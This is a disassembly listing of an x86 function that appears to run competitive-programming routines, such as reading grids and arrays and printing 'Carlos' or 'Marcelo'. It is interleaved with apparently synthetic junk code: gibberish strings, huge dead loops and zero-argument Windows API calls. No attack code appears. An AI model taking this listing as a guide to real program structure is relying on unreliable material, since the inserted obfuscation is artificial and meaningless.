cmp eax, dword [ebp - 0x258]
jge 0x4de8ab
and dword [ebp - 0xec0], 0
jmp 0x4de872
mov eax, dword [ebp - 0xec0]
inc eax
mov dword [ebp - 0xec0], eax
mov eax, dword [ebp - 0xec0]
cmp eax, dword [ebp - 0x124]
jge 0x4de8a9
imul eax, dword [ebp - 0xc2c], 0xc8
lea eax, [ebp + eax - 0x72cc]
mov ecx, dword [ebp - 0xec0]
lea eax, [eax + ecx*4]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4de865
jmp 0x4de841
mov eax, dword [ebp - 0x258]
imul eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x36c], eax
jmp 0x4de8ce
mov eax, dword [ebp - 0x36c]
dec eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0
jl 0x4de8ec
mov eax, dword [ebp - 0x36c]
mov ecx, dword [ebp - 0x36c]
mov dword [eax*4 + 0x27354d0], ecx
jmp 0x4de8c1
and dword [ebp - 0x114], 0
jmp 0x4de902
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
cmp eax, dword [ebp - 0x258]
jge 0x4dea69
and dword [ebp - 0x11c], 0
jmp 0x4de92a
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x124]
jge 0x4dea64
imul eax, dword [ebp - 0x114], 0xc8
lea eax, [ebp + eax - 0x72cc]
mov ecx, dword [ebp - 0x11c]
cmp dword [eax + ecx*4], 1
jne 0x4dea5f
or dword [ebp - 0x1cc], 0xffffffff
jmp 0x4de973
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 1
jg 0x4dea5f
or dword [ebp - 0x1d4], 0xffffffff
jmp 0x4de996
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 1
jg 0x4dea5a
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x1cc]
js 0x4dea55
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x1cc]
cmp eax, dword [ebp - 0x258]
jge 0x4dea55
mov eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0x1d4]
js 0x4dea55
mov eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0x1d4]
cmp eax, dword [ebp - 0x124]
jge 0x4dea55
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x1cc]
imul eax, eax, 0xc8
lea eax, [ebp + eax - 0x72cc]
mov ecx, dword [ebp - 0x11c]
add ecx, dword [ebp - 0x1d4]
cmp dword [eax + ecx*4], 1
jne 0x4dea55
mov eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x1cc]
imul eax, dword [ebp - 0x124]
add eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0x1d4]
push eax
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0x114]
add eax, dword [ebp - 0x11c]
push eax
call fcn.004cc66c
pop ecx
pop ecx
jmp 0x4de989
jmp 0x4de966
jmp 0x4de91d
jmp 0x4de8f5
and dword [ebp - 0x1380], 0
and dword [ebp - 0x260], 0
jmp 0x4dea86
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
mov eax, dword [ebp - 0x260]
cmp eax, dword [ebp - 0x258]
jge 0x4deb1e
and dword [ebp - 0x268], 0
jmp 0x4deaae
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
mov eax, dword [ebp - 0x268]
cmp eax, dword [ebp - 0x124]
jge 0x4deb19
imul eax, dword [ebp - 0x260], 0xc8
lea eax, [ebp + eax - 0x72cc]
mov ecx, dword [ebp - 0x268]
cmp dword [eax + ecx*4], 1
jne 0x4deb17
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0x260]
add eax, dword [ebp - 0x268]
push eax
call fcn.004cc634
pop ecx
mov ecx, dword [ebp - 0x124]
imul ecx, dword [ebp - 0x260]
add ecx, dword [ebp - 0x268]
cmp eax, ecx
jne 0x4deb17
mov eax, dword [ebp - 0x1380]
inc eax
mov dword [ebp - 0x1380], eax
jmp 0x4deaa1
jmp 0x4dea79
push dword [ebp - 0x1380]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4de806
mov dword [ebp - 0x18f0], 0x1f1f
mov dword [ebp - 0x18d8], 0x456f
mov dword [ebp - 0x2824], str.dllxkvcgn_ffotnm_rsrvml_ksqgsb_ybpmjg_yxktlnd_vlmw_mggkdvqvx_btbn_fidbr_strac_avxxpgy_mpsfmfl_wdgdm
cmp dword [ebp - 0x18d8], 0x46e3
jle 0x4dec6b
and dword [ebp - 0xc34], 0
jmp 0x4deb79
mov eax, dword [ebp - 0xc34]
inc eax
mov dword [ebp - 0xc34], eax
cmp dword [ebp - 0xc34], 0x6551
jge 0x4dec63
and dword [ebp - 0xec8], 0
jmp 0x4deb9f
mov eax, dword [ebp - 0xec8]
inc eax
mov dword [ebp - 0xec8], eax
cmp dword [ebp - 0xec8], 0x6d3d
jge 0x4dec5e
and dword [ebp - 0xc3c], 0
jmp 0x4debc5
mov eax, dword [ebp - 0xc3c]
inc eax
mov dword [ebp - 0xc3c], eax
cmp dword [ebp - 0xc3c], 0x3494
jge 0x4dec59
and dword [ebp - 0xed0], 0
jmp 0x4debeb
mov eax, dword [ebp - 0xed0]
inc eax
mov dword [ebp - 0xed0], eax
cmp dword [ebp - 0xed0], 0x312e
jge 0x4dec54
mov eax, dword [ebp - 0xc34]
mov ecx, dword [ebp - 0xec8]
shl eax, cl
mov ecx, dword [ebp - 0xc3c]
sar eax, cl
and eax, dword [ebp - 0xed0]
cdq
mov dword [ebp - 0x2220], eax
mov dword [ebp - 0x221c], edx
push dword [ebp - 0x221c]
push dword [ebp - 0x2220]
lea ecx, [ebp - 0x3ac8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3ac8]
call fcn.00401711
jmp 0x4debde
jmp 0x4debb8
jmp 0x4deb92
jmp 0x4deb6c
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [ebp - 0x1748], 0x66b1
cmp dword [ebp - 0x18d8], 0x41a5
jge 0x4dec8d
push dword [ebp - 0x2824]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1730], 0x369
mov dword [ebp - 0x27b4], str.btofqbav_dnt_moqjqj_wcmfpjy_xgasai_opvmviyic_gyvkrtmf_yxggvun_fdtnhpa
cmp dword [ebp - 0x1730], 0x4a3
jle 0x4dee6f
and dword [ebp - 0xc44], 0
jmp 0x4decc7
mov eax, dword [ebp - 0xc44]
inc eax
mov dword [ebp - 0xc44], eax
cmp dword [ebp - 0xc44], 0x7a09
jge 0x4dee6f
and dword [ebp - 0xed8], 0
jmp 0x4deced
mov eax, dword [ebp - 0xed8]
inc eax
mov dword [ebp - 0xed8], eax
cmp dword [ebp - 0xed8], 0x7958
jge 0x4dee6a
mov eax, dword [ebp - 0xc44]
imul eax, dword [ebp - 0xed8]
cdq
mov dword [ebp - 0x222c], eax
mov dword [ebp - 0x2228], edx
mov dword [ebp - 0x20e0], 0x1a8b
cmp dword [ebp - 0x20e0], 0x631
jge 0x4dee33
lea ecx, [ebp - 0x2f88]
call fcn.004016ac
lea ecx, [ebp - 0x2f14]
call fcn.004016ac
lea ecx, [ebp - 0x2fe8]
call fcn.004016ac
lea edx, [ebp - 0x2f88]
mov ecx, 0xac75e0
call fcn.0041c6ac
lea edx, [ebp - 0x2f14]
mov ecx, eax
call fcn.0041c6ac
lea edx, [ebp - 0x2fe8]
mov ecx, eax
call fcn.0041c6ac
lea ecx, [ebp - 0x2f88]
call fcn.0040175f
dec eax
push eax
lea ecx, [ebp - 0x2f88]
call fcn.0040174b
movsx esi, byte [eax]
push 0
lea ecx, [ebp - 0x2f14]
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
jne 0x4dedf7
lea ecx, [ebp - 0x2f14]
call fcn.0040175f
dec eax
push eax
lea ecx, [ebp - 0x2f14]
call fcn.0040174b
movsx esi, byte [eax]
push 0
lea ecx, [ebp - 0x2fe8]
call fcn.0040174b
movsx eax, byte [eax]
cmp esi, eax
jne 0x4dedf7
push fcn.0041c2ab
mov edx, 0xab5934
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
jmp 0x4dee12
push fcn.0041c2ab
mov edx, 0xab5938
mov ecx, 0xac7538
call fcn.0041c2dd
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x2fe8]
call fcn.00401711
lea ecx, [ebp - 0x2f14]
call fcn.00401711
lea ecx, [ebp - 0x2f88]
call fcn.00401711
push dword [ebp - 0x2228]
push dword [ebp - 0x222c]
lea ecx, [ebp - 0x3798]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3798]
call fcn.00401711
jmp 0x4dece0
jmp 0x4decba
mov dword [ebp - 0x211c], str.rlsfomccj_eobc_quqlxqmm_ejh_cxiv
cmp dword [ebp - 0x1730], 0x9c
jge 0x4dee91
push dword [ebp - 0x27b4]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x1748], 0x6939
jle 0x4df85a
and dword [ebp - 0x530], 0
jmp 0x4deeb7
mov eax, dword [ebp - 0x530]
inc eax
mov dword [ebp - 0x530], eax
cmp dword [ebp - 0x530], 0x5744
jge 0x4df85a
and dword [ebp - 0x520], 0
jmp 0x4deedd
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 0x23a1
jge 0x4df855
mov dword [ebp - 0x1948], 0x6670
mov dword [ebp - 0x27cc], str.shaqx_jndod_knmoigp_xkr_ijcosie
cmp dword [ebp - 0x1948], 0x68ae
jle 0x4defda
and dword [ebp - 0x4dc], 0
jmp 0x4def27
mov eax, dword [ebp - 0x4dc]
inc eax
mov dword [ebp - 0x4dc], eax
cmp dword [ebp - 0x4dc], 0x7929
jge 0x4defda
and dword [ebp - 0x4e0], 0
jmp 0x4def4d
mov eax, dword [ebp - 0x4e0]
inc eax
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 0x3ebd
jge 0x4defd5
and dword [ebp - 0x4e8], 0
jmp 0x4def6f
mov eax, dword [ebp - 0x4e8]
inc eax
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x4e8], 0x11e6
jge 0x4defd0
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [ebp - 0x4e0]
sar eax, cl
or eax, dword [ebp - 0x4e8]
cdq
mov dword [ebp - 0x2238], eax
mov dword [ebp - 0x2234], edx
push dword [ebp - 0x2234]
push dword [ebp - 0x2238]
lea ecx, [ebp - 0x3bb8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3bb8]
call fcn.00401711
jmp 0x4def62
jmp 0x4def40
jmp 0x4def1a
and dword [ebp - 0x528], 0
jmp 0x4deff0
mov eax, dword [ebp - 0x528]
inc eax
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0x3300
jge 0x4df838
mov dword [ebp - 0x18e0], 0x61ae
mov dword [ebp - 0x20ec], 0x2184
cmp dword [ebp - 0x20ec], 0x67c
jge 0x4df225
lea eax, [ebp - 0x12b0]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x12b0]
mov dword [ebp - 0x282c], eax
mov eax, dword [ebp - 0x12b0]
dec eax
mov dword [ebp - 0x12b0], eax
cmp dword [ebp - 0x282c], 0
je 0x4df225
lea eax, [ebp - 0x20f8]
push eax
lea eax, [ebp - 0x374]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
push dword [ebp - 0x374]
lea ecx, [ebp - 0x29e4]
call fcn.004179d7
and dword [ebp - 0x4f0], 0
jmp 0x4df09f
mov eax, dword [ebp - 0x4f0]
inc eax
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x4f0]
cmp eax, dword [ebp - 0x374]
jge 0x4df0cd
push dword [ebp - 0x4f0]
lea ecx, [ebp - 0x29e4]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4df092
push dword [ebp - 0x374]
lea ecx, [ebp - 0x29d4]
call fcn.004179d7
and dword [ebp - 0x4f8], 0
jmp 0x4df0f4
mov eax, dword [ebp - 0x4f8]
inc eax
mov dword [ebp - 0x4f8], eax
mov eax, dword [ebp - 0x4f8]
cmp eax, dword [ebp - 0x374]
jge 0x4df122
push dword [ebp - 0x4f8]
lea ecx, [ebp - 0x29d4]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4df0e7
lea eax, [ebp - 0x2e3c]
push eax
lea ecx, [ebp - 0x29e4]
call fcn.00417b02
push dword [eax]
lea eax, [ebp - 0x2efc]
push eax
lea ecx, [ebp - 0x29e4]
call fcn.00417af4
push dword [eax]
call fcn.0041c23e
pop ecx
pop ecx
lea eax, [ebp - 0x2ddc]
push eax
lea ecx, [ebp - 0x29d4]
call fcn.00417af4
push dword [eax]
lea eax, [ebp - 0x2eac]
push eax
lea ecx, [ebp - 0x29d4]
call fcn.00417b02
push dword [eax]
call fcn.004ead2a
pop ecx
pop ecx
mov byte [ebp - 0x76], 1
and dword [ebp - 0x37c], 0
jmp 0x4df19a
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x37c]
cmp eax, dword [ebp - 0x374]
jge 0x4df1e0
push dword [ebp - 0x37c]
lea ecx, [ebp - 0x29e4]
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0x37c]
lea ecx, [ebp - 0x29d4]
call fcn.00417bb8
mov ecx, dword [esi]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x20f8]
jle 0x4df1de
mov byte [ebp - 0x76], 0
jmp 0x4df1e0
jmp 0x4df18d
movzx eax, byte [ebp - 0x76]
test eax, eax
je 0x4df1f4
mov dword [ebp - 0x1a88], 0xab7520
jmp 0x4df1fe
mov dword [ebp - 0x1a88], 0xab7524
push dword [ebp - 0x1a88]
call fcn.004f1b87
pop ecx
lea ecx, [ebp - 0x29d4]
call fcn.00417aef
lea ecx, [ebp - 0x29e4]
call fcn.00417aef
jmp 0x4df037
mov dword [ebp - 0x2110], str.ffgddn_ctapvo_feololdkk_keinani_uqvkex_fxlfnyx_nysbuytw_crqlylcx_tglfhd
cmp dword [ebp - 0x18e0], 0x6536
jle 0x4df504
and dword [ebp - 0x510], 0
jmp 0x4df255
mov eax, dword [ebp - 0x510]
inc eax
mov dword [ebp - 0x510], eax
cmp dword [ebp - 0x510], 0x35b3
jge 0x4df504
and dword [ebp - 0x500], 0
jmp 0x4df27b
mov eax, dword [ebp - 0x500]
inc eax
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x500], 0x614a
jge 0x4df4ff
and dword [ebp - 0x508], 0
jmp 0x4df2a1
mov eax, dword [ebp - 0x508]
inc eax
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0xdbe
jge 0x4df4fa
mov eax, dword [ebp - 0x500]
imul eax, dword [ebp - 0x508]
xor eax, dword [ebp - 0x510]
cdq
mov dword [ebp - 0x2244], eax
mov dword [ebp - 0x2240], edx
mov dword [ebp - 0x27c0], 0x1df0
cmp dword [ebp - 0x27c0], 0x4fe
jge 0x4df4df
lea eax, [ebp - 0x143c]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x143c]
mov dword [ebp - 0x2104], eax
mov eax, dword [ebp - 0x143c]
dec eax
mov dword [ebp - 0x143c], eax
cmp dword [ebp - 0x2104], 0
je 0x4df4df
lea eax, [ebp - 0x12b8]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
push 4
pop eax
imul eax, eax, 0
and dword [eax + 0x27b1350], 0
mov dword [ebp - 0x518], 1
jmp 0x4df35d
mov eax, dword [ebp - 0x518]
inc eax
mov dword [ebp - 0x518], eax
mov eax, dword [ebp - 0x518]
cmp eax, dword [ebp - 0x12b8]
jg 0x4df387
mov eax, dword [ebp - 0x518]
lea eax, [eax*4 + 0x27b1350]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4df350
mov dword [ebp - 0x270], 1
jmp 0x4df3a0
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
mov eax, dword [ebp - 0x270]
cmp eax, dword [ebp - 0x12b8]
jg 0x4df3d7
mov eax, dword [ebp - 0x270]
mov eax, dword [eax*4 + 0x27b1350]
mov ecx, dword [ebp - 0x270]
add eax, dword [ecx*4 + 0x27b134c]
mov ecx, dword [ebp - 0x270]
mov dword [ecx*4 + 0x27b1350], eax
jmp 0x4df393
lea ecx, [ebp - 0x1aac]
call fcn.004e9fa3
xorpd xmm0, xmm0
movlpd qword [ebp - 0x2dcc], xmm0
lea eax, [ebp - 0x2dcc]
push eax
lea ecx, [ebp - 0x1aac]
call fcn.004e9fb8
mov dword [eax], 1
and dword [ebp - 0x138c], 0
mov dword [ebp - 0x384], 1
jmp 0x4df426
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
cmp eax, dword [ebp - 0x12b8]
jg 0x4df4bd
mov eax, dword [ebp - 0x384]
mov eax, dword [eax*4 + 0x27b1350]
sub eax, 0x2f
cdq
mov dword [ebp - 0x2bc4], eax
mov dword [ebp - 0x2bc0], edx
lea eax, [ebp - 0x2bc4]
push eax
lea ecx, [ebp - 0x1aac]
call fcn.004e9fb8
mov ecx, dword [ebp - 0x138c]
add ecx, dword [eax]
mov dword [ebp - 0x138c], ecx
mov eax, dword [ebp - 0x384]
mov eax, dword [eax*4 + 0x27b1350]
cdq
mov dword [ebp - 0x2b8c], eax
mov dword [ebp - 0x2b88], edx
lea eax, [ebp - 0x2b8c]
push eax
lea ecx, [ebp - 0x1aac]
call fcn.004e9fb8
mov dword [ebp - 0x1738], eax
mov eax, dword [ebp - 0x1738]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1738]
mov dword [ecx], eax
jmp 0x4df419
push dword [ebp - 0x138c]
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
lea ecx, [ebp - 0x1aac]
call fcn.004e9a04
jmp 0x4df2fe
push dword [ebp - 0x2240]
push dword [ebp - 0x2244]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4df294
jmp 0x4df26e
jmp 0x4df248
mov eax, dword [ebp - 0x520]
sub eax, dword [ebp - 0x528]
and eax, dword [ebp - 0x530]
cdq
mov dword [ebp - 0x2268], eax
mov dword [ebp - 0x2264], edx
cmp dword [ebp - 0x18e0], 0x5e1b
jge 0x4df801
mov dword [ebp - 0x2834], 0x1475
cmp dword [ebp - 0x2834], 0xa3e
jge 0x4df7f1
xor eax, eax
inc eax
je 0x4df7f1
lea eax, [ebp - 0x540]
push eax
push 0xab5ba0
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0x540], 0
jne 0x4df577
jmp 0x4df7f1
mov ecx, 0x2df1960
call fcn.00417bf9
push dword [ebp - 0x540]
mov ecx, 0x2df1960
call fcn.00417b11
and dword [ebp - 0x538], 0
jmp 0x4df5a7
mov eax, dword [ebp - 0x538]
inc eax
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x538]
cmp eax, dword [ebp - 0x540]
jge 0x4df5d4
push dword [ebp - 0x538]
mov ecx, 0x2df1960
call fcn.00417bb8
push eax
push 0xab5ba0
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4df59a
xorpd xmm0, xmm0
movlpd qword [ebp - 0x33c], xmm0
xorpd xmm0, xmm0
movlpd qword [ebp - 0x1480], xmm0
mov dword [ebp - 0x1388], 0xf
and dword [ebp - 0x1384], 0
mov eax, dword [ebp - 0x1388]
mov dword [ebp - 0x2250], eax
mov eax, dword [ebp - 0x1384]
mov dword [ebp - 0x224c], eax
mov eax, dword [ebp - 0x1388]
sub eax, 1
mov ecx, dword [ebp - 0x1384]
sbb ecx, 0
mov dword [ebp - 0x1388], eax
mov dword [ebp - 0x1384], ecx
mov eax, dword [ebp - 0x2250]
or eax, dword [ebp - 0x224c]
je 0x4df7a5
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x1480], eax
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x147c], eax
and dword [ebp - 0xe0], 0
jmp 0x4df673
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x540]
dec eax
cmp dword [ebp - 0xe0], eax
jge 0x4df768
push dword [ebp - 0xe0]
mov ecx, 0x2df1960
call fcn.00417bb8
mov ecx, dword [ebp - 0xe0]
inc ecx
cmp dword [eax], ecx
je 0x4df763
push dword [ebp - 0xe0]
mov ecx, 0x2df1960
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0xe0]
mov ecx, 0x2df1960
call fcn.00417bb8
mov eax, dword [eax]
dec eax
push eax
mov ecx, 0x2df1960
call fcn.00417bb8
mov ecx, dword [esi]
sub ecx, dword [eax]
mov eax, ecx
cdq
xor eax, edx
sub eax, edx
lea eax, [eax + eax - 1]
cdq
add eax, dword [ebp - 0x33c]
adc edx, dword [ebp - 0x338]
mov dword [ebp - 0x33c], eax
mov dword [ebp - 0x338], edx
push dword [ebp - 0xe0]
mov ecx, 0x2df1960
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x1740], eax
push dword [ebp - 0xe0]
mov ecx, 0x2df1960
call fcn.00417bb8
mov eax, dword [eax]
dec eax
push eax
mov ecx, 0x2df1960
call fcn.00417bb8
mov esi, eax
push dword [ebp - 0xe0]
mov ecx, 0x2df1960
call fcn.00417bb8
mov ecx, dword [esi]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1740]
dec eax
push eax
mov ecx, 0x2df1960
call fcn.00417bb8
mov ecx, dword [ebp - 0x1740]
mov dword [eax], ecx
jmp 0x4df666
mov eax, dword [ebp - 0x1480]
cmp eax, dword [ebp - 0x33c]
jne 0x4df784
mov eax, dword [ebp - 0x147c]
cmp eax, dword [ebp - 0x338]
je 0x4df79e
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x1480], eax
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x147c], eax
jmp 0x4df7a0
jmp 0x4df7a5
jmp 0x4df5fd
push 0
push 2
push dword [ebp - 0x338]
push dword [ebp - 0x33c]
call fcn.0050a220
mov dword [ebp - 0x225c], eax
mov dword [ebp - 0x2258], edx
mov eax, dword [ebp - 0x225c]
or eax, dword [ebp - 0x2258]
jne 0x4df7e1
push str.Carlos_n
call fcn.004f1488
pop ecx
jmp 0x4df7ec
push str.Marcelo_n
call fcn.004f1488
pop ecx
jmp 0x4df54d
mov edx, dword [ebp - 0x2110]
mov ecx, 0xac7538
call fcn.0041c2dd
push dword [ebp - 0x2264]
push dword [ebp - 0x2268]
lea ecx, [ebp - 0x37c8]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x37c8]
call fcn.00401711
jmp 0x4defe3
cmp dword [ebp - 0x1948], 0x6583
jge 0x4df850
push dword [ebp - 0x27cc]
call fcn.004f1488
pop ecx
jmp 0x4deed0
jmp 0x4deeaa
mov dword [ebp - 0x27e4], str.mlu_mjvw_apohyx_tqaeftol
cmp dword [ebp - 0x1748], 0x645e
jge 0x4df87c
push dword [ebp - 0x211c]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x18f0], 0x209b
jle 0x4df936
and dword [ebp - 0x558], 0
jmp 0x4df8a2
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0x7163
jge 0x4df936
and dword [ebp - 0x548], 0
jmp 0x4df8c8
mov eax, dword [ebp - 0x548]
inc eax
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 0x1a4c
jge 0x4df931
and dword [ebp - 0x550], 0
jmp 0x4df8ea
mov eax, dword [ebp - 0x550]
inc eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0x7394
jge 0x4df92f
mov ecx, dword [ebp - 0x548]
add ecx, dword [ebp - 0x550]
mov eax, dword [ebp - 0x558]
shl eax, cl
cdq
mov dword [ebp - 0x2274], eax
mov dword [ebp - 0x2270], edx
push dword [ebp - 0x2270]
push dword [ebp - 0x2274]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4df8dd
jmp 0x4df8bb
jmp 0x4df895
mov dword [ebp - 0x18e8], 0x25ef
mov dword [ebp - 0x283c], str.nwx_itia_yxlx_blhpod_mdrk_sqg_opepleo_hltrclo_tnecfnf_drmykg_evinasaq_hjgmg
cmp dword [ebp - 0x18e8], 0x28d2
jle 0x4dfa1e
and dword [ebp - 0x560], 0
jmp 0x4df970
mov eax, dword [ebp - 0x560]
inc eax
mov dword [ebp - 0x560], eax
cmp dword [ebp - 0x560], 0x248d
jge 0x4dfa06
and dword [ebp - 0x568], 0
jmp 0x4df996
mov eax, dword [ebp - 0x568]
inc eax
mov dword [ebp - 0x568], eax
cmp dword [ebp - 0x568], 0x19f4
jge 0x4dfa01
and dword [ebp - 0x570], 0
jmp 0x4df9b8
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 0x50b0
jge 0x4df9ff
mov eax, dword [ebp - 0x560]
mov ecx, dword [ebp - 0x568]
shl eax, cl
mov ecx, dword [ebp - 0x570]
shl eax, cl
cdq
mov dword [ebp - 0x2280], eax
mov dword [ebp - 0x227c], edx
push dword [ebp - 0x227c]
push dword [ebp - 0x2280]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4df9ab
jmp 0x4df989
jmp 0x4df963
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawIconEx]
mov dword [ebp - 0x1758], 0x3708
cmp dword [ebp - 0x18e8], 0x2563
jge 0x4dfa44
mov edx, dword [ebp - 0x283c]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x2140], str.rbmixs_jbqtcb_vyoggihcc_ehcungx
cmp dword [ebp - 0x1758], 0x39d7
jle 0x4dff04
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
and dword [ebp - 0x590], 0
jmp 0x4dfa80
mov eax, dword [ebp - 0x590]
inc eax
mov dword [ebp - 0x590], eax
cmp dword [ebp - 0x590], 0x42b0
jge 0x4dff04
and dword [ebp - 0x578], 0
jmp 0x4dfaa6
mov eax, dword [ebp - 0x578]
inc eax
mov dword [ebp - 0x578], eax
cmp dword [ebp - 0x578], 0x3448
jge 0x4dfeff
mov dword [ebp - 0x2128], 0x143b
cmp dword [ebp - 0x2128], 0x129f
jge 0x4dfc29
xor cl, cl
call fcn.00402508
lea ecx, [ebp - 0x1470]
call fcn.004e9fa3
lea eax, [ebp - 0x12c0]
push eax
mov ecx, 0xac75e0
call fcn.004173b8
mov eax, dword [ebp - 0x12c0]
mov dword [ebp - 0x27d8], eax
mov eax, dword [ebp - 0x12c0]
dec eax
mov dword [ebp - 0x12c0], eax
cmp dword [ebp - 0x27d8], 0
je 0x4dfc1e
lea eax, [ebp - 0x2b94]
push eax
lea edx, [ebp - 0x31]
mov ecx, 0xac75e0
call fcn.004ead50
mov ecx, eax
call fcn.004174cc
push dword [ebp - 0x2b90]
push dword [ebp - 0x2b94]
call fcn.004cc696
pop ecx
pop ecx
mov dword [ebp - 0x1490], eax
mov dword [ebp - 0x148c], edx
movsx eax, byte [ebp - 0x31]
cmp eax, 0x2b
jne 0x4dfbb2
lea eax, [ebp - 0x1490]
push eax
lea ecx, [ebp - 0x1470]
call fcn.004ea099
test eax, eax
ja 0x4dfb87
lea eax, [ebp - 0x1490]
push eax
lea ecx, [ebp - 0x1470]
call fcn.004ea010
and dword [eax], 0
lea eax, [ebp - 0x1490]
push eax
lea ecx, [ebp - 0x1470]
call fcn.004ea010
mov dword [ebp - 0x1750], eax
mov eax, dword [ebp - 0x1750]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1750]
mov dword [ecx], eax
jmp 0x4dfc19
movsx eax, byte [ebp - 0x31]
cmp eax, 0x2d
jne 0x4dfbe6
lea eax, [ebp - 0x1490]
push eax
lea ecx, [ebp - 0x1470]
call fcn.004ea010
mov dword [ebp - 0x194c], eax
mov eax, dword [ebp - 0x194c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x194c]
mov dword [ecx], eax
jmp 0x4dfc19
movsx eax, byte [ebp - 0x31]
cmp eax, 0x3f
jne 0x4dfc19
push fcn.0041c2ab
lea eax, [ebp - 0x1490]
push eax
lea ecx, [ebp - 0x1470]
call fcn.004ea010
push dword [eax]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
jmp 0x4dfaf3
lea ecx, [ebp - 0x1470]
call fcn.004e9a04
and dword [ebp - 0x580], 0
jmp 0x4dfc3f
mov eax, dword [ebp - 0x580]
inc eax
mov dword [ebp - 0x580], eax
cmp dword [ebp - 0x580], 0x35a8
jge 0x4dfefa
and dword [ebp - 0x588], 0
jmp 0x4dfc65
mov eax, dword [ebp - 0x588]
